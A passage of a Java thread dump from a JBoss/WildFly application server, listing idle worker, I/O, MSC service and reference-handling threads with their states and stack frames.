java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.15/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.15/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"default I/O-14" #120 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 69" #101 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 23" #50 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 56" #85 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 82" #149 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 73" #106 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-19" #125 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 9" #36 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 10" #37 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Common-Cleaner" #12 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@743d3e5f + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.15/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.15/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"ServerService Thread Pool -- 46" #75 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 39" #68 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@22eea920 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-5" #22 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@17ecd5d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + +"default I/O-8" #114 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"XNIO-1 Accept" #133 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 70" #102 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 45" #74 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 24" #51 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1af88698 + java.lang.Thread.State: WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.15/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"default I/O-22" #128 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 19" #46 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 5" #32 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 18" #45 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 63" #95 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Reference Reaper" #14 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@3d405f5e + java.lang.Thread.State: WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at app//org.jboss.modules.ref.References$ReaperThread.run(References.java:64) + +"ServerService Thread Pool -- 29" #56 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 57" #86 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 17" #44 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 72" #104 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-16" #122 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"MSC service thread 1-1" #18 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@17ecd5d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + +"ServerService Thread Pool -- 15" #42 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"management I/O-2" #90 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"default I/O-15" #121 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"MSC service thread 1-7" #24 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@17ecd5d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + +"ServerService Thread Pool -- 36" #63 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 4" #31 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 44" #73 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"management Accept" #91 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"Reference Reaper #3" #140 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2092516f + java.lang.Thread.State: WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at org.wildfly.common@1.7.0.Final-redhat-00003//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"ServerService Thread Pool -- 60" #92 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Transaction Expired Entry Monitor" #135 daemon [TIMED_WAITING] on com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor@3f594cda + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor.run(ExpiredEntryMonitor.java:163) + +"ServerService Thread Pool -- 28" #55 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-8" #25 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@17ecd5d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + +"ServerService Thread Pool -- 27" #54 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-17" #123 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"management I/O-1" #89 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.16.Final-redhat-00001//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 74" #141 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@67d334b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final-redhat-00001//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.15/java.lang.Thread.run(Thread.java:840) + at 